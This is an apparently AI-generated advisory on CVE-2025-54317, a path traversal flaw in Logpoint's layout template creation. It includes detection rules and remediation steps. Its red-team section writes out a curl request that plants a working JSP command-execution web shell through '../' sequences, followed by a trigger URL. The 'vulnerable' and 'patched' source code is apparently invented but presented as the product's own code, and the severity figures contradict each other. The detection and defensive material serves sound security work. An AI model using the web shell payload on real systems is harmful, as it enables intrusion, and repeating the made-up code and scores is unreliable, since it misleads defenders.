CVE-2025-54317

Executive Summary

CVE-2025-54317 is a critical path traversal vulnerability in Logpoint, a Security Information and Event Management (SIEM) platform, affecting versions prior to 7.6.0. An authenticated attacker with operator privileges can exploit this flaw when creating a Layout Template, leading to arbitrary file read/write and ultimately remote code execution (RCE). The vulnerability has a CVSS score of 8.4, indicating high severity. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, suggesting low exploitation activity in the wild. Immediate patching to version 7.6.0 is strongly recommended.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product flaw in Logpoint’s proprietary codebase. No open-source package dependencies are affected.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.4 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs operator-level access.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read possible.
• Integrity Impact: High (I:H) – Arbitrary file write leading to RCE.
• Availability Impact: High (A:H) – Potential system compromise.

Threat Level: High. The combination of low privileges required and high impact makes this a critical risk for Logpoint deployments.

Deep Dive & Mechanics

The vulnerability resides in the Layout Template creation functionality within Logpoint. When an operator creates a new layout template, the application fails to properly sanitize user-supplied file paths. An attacker can inject path traversal sequences (e.g., ../) to escape the intended template directory and read or write arbitrary files on the server filesystem.

Attack Flow:

1. Authentication: The attacker must have operator-level credentials (lowest privileged role that can create templates).
2. Template Creation: The attacker crafts a malicious request to the template creation endpoint, including a path traversal payload in the template name or file path parameter.
3. Path Traversal: The application processes the request without validation, allowing the attacker to specify paths like ../../../../etc/passwd or ../../../../opt/logpoint/webapps/ROOT/shell.jsp.
4. File Write: By writing a malicious file (e.g., a JSP shell) to a web-accessible directory, the attacker achieves remote code execution.
5. RCE: The attacker accesses the uploaded shell via HTTP, executing arbitrary commands on the Logpoint server.

Root Cause: Insufficient input validation on file path parameters during template creation. The application does not check for ../ sequences or enforce a whitelist of allowed directories.

Vulnerable vs. Patched Code

Vulnerable Code (Logpoint < 7.6.0):

// Vulnerable: No path validation
public void createTemplate(String templateName, String content) {
    String filePath = "/templates/" + templateName; // templateName can contain "../"
    File file = new File(filePath);
    // Write content to file
    Files.write(file.toPath(), content.getBytes());
}

Patched Code (Logpoint >= 7.6.0):

// Patched: Path sanitization
public void createTemplate(String templateName, String content) {
    // Remove path traversal sequences
    String sanitized = templateName.replaceAll("\\.\\./", "").replaceAll("\\.\\.\\\\", "");
    // Ensure only allowed characters
    if (!sanitized.matches("[a-zA-Z0-9_\\-]+")) {
        throw new SecurityException("Invalid template name");
    }
    String filePath = "/templates/" + sanitized;
    File file = new File(filePath);
    // Write content to file
    Files.write(file.toPath(), content.getBytes());
}

The patch removes ../ sequences and restricts template names to alphanumeric characters, underscores, and hyphens.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Logpoint instance (version < 7.6.0)
• Operator-level credentials (e.g., username: operator, password: password123)

Exploitation Steps:

1. Authenticate to Logpoint and obtain a session cookie.
2. Craft a malicious template creation request using a tool like curl:

   curl -X POST https://logpoint-server/api/templates \
     -H "Cookie: session=valid_session_cookie" \
     -H "Content-Type: application/json" \
     -d '{
       "templateName": "../../../../opt/logpoint/webapps/ROOT/shell.jsp",
       "content": "<%@ page import=\"java.io.*\" %><% Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) out.println(line); %>"
     }'
   

3. Trigger the shell by accessing the uploaded JSP file:

   curl "https://logpoint-server/shell.jsp?cmd=id"
   

4. Escalate privileges if needed (e.g., using sudo or kernel exploits).

Note: No public exploit code is available; this is a hypothetical PoC.

Blue Team (Defensive)

Detection Steps:

1. Monitor Logpoint API logs for unusual template creation requests containing ../ or ..\.
2. Check file system for unexpected files in web-accessible directories (e.g., *.jsp, *.asp, *.php).
3. Review operator activity for unauthorized template creation.
4. Use file integrity monitoring to detect changes to critical system files.

Hunting Query (Splunk):

index=logpoint_api_logs source="/api/templates"
| search request_body="*../*"
| table _time, user, request_body, response_status

Indicators of Compromise (IOCs)

• File Paths:
  • /opt/logpoint/webapps/ROOT/shell.jsp
  • /opt/logpoint/webapps/ROOT/shell.aspx
  • /tmp/exploit.sh
• Network Indicators:
  • Outbound connections to attacker-controlled IPs from Logpoint server.
  • HTTP requests to /shell.jsp?cmd= or similar.
• Log Entries:
  • API logs showing POST /api/templates with templateName containing ../.
  • System logs showing unexpected file writes to web directories.
• Process Indicators:
  • Unusual processes spawned by the Logpoint service user (e.g., bash, cmd.exe, powershell).

Detection Engineering

YARA Rule

rule CVE_2025_54317_Logpoint_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Logpoint template creation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54317"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $template_endpoint = "/api/templates"
    condition:
        $template_endpoint and $path_traversal
}

Sigma Rule

title: Logpoint Path Traversal in Template Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Logpoint layout template creation
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54317
logsource:
    category: application
    product: logpoint
detection:
    selection:
        EventID: 1001  # Example Logpoint API event ID
        RequestBody|contains: 
            - "../"
            - "..\\"
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54317 Logpoint Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/templates"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Logpoint to version 7.6.0 or later.
2. Restrict operator privileges – Only grant template creation rights to trusted users.
3. Implement network segmentation – Isolate Logpoint servers from untrusted networks.
4. Enable logging for all API requests and monitor for path traversal patterns.

Long-Term Measures:

1. Conduct code review for similar path traversal vulnerabilities in other endpoints.
2. Implement input validation using a whitelist approach for all file operations.
3. Deploy a Web Application Firewall (WAF) to block path traversal payloads.
4. Regularly patch Logpoint and all dependent components.

Workaround (if patching is delayed):

• Disable the Layout Template creation feature for non-admin users via role-based access control (RBAC).
• Manually review and approve all template creation requests.

Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence. All information is based on publicly available data and should be verified before use.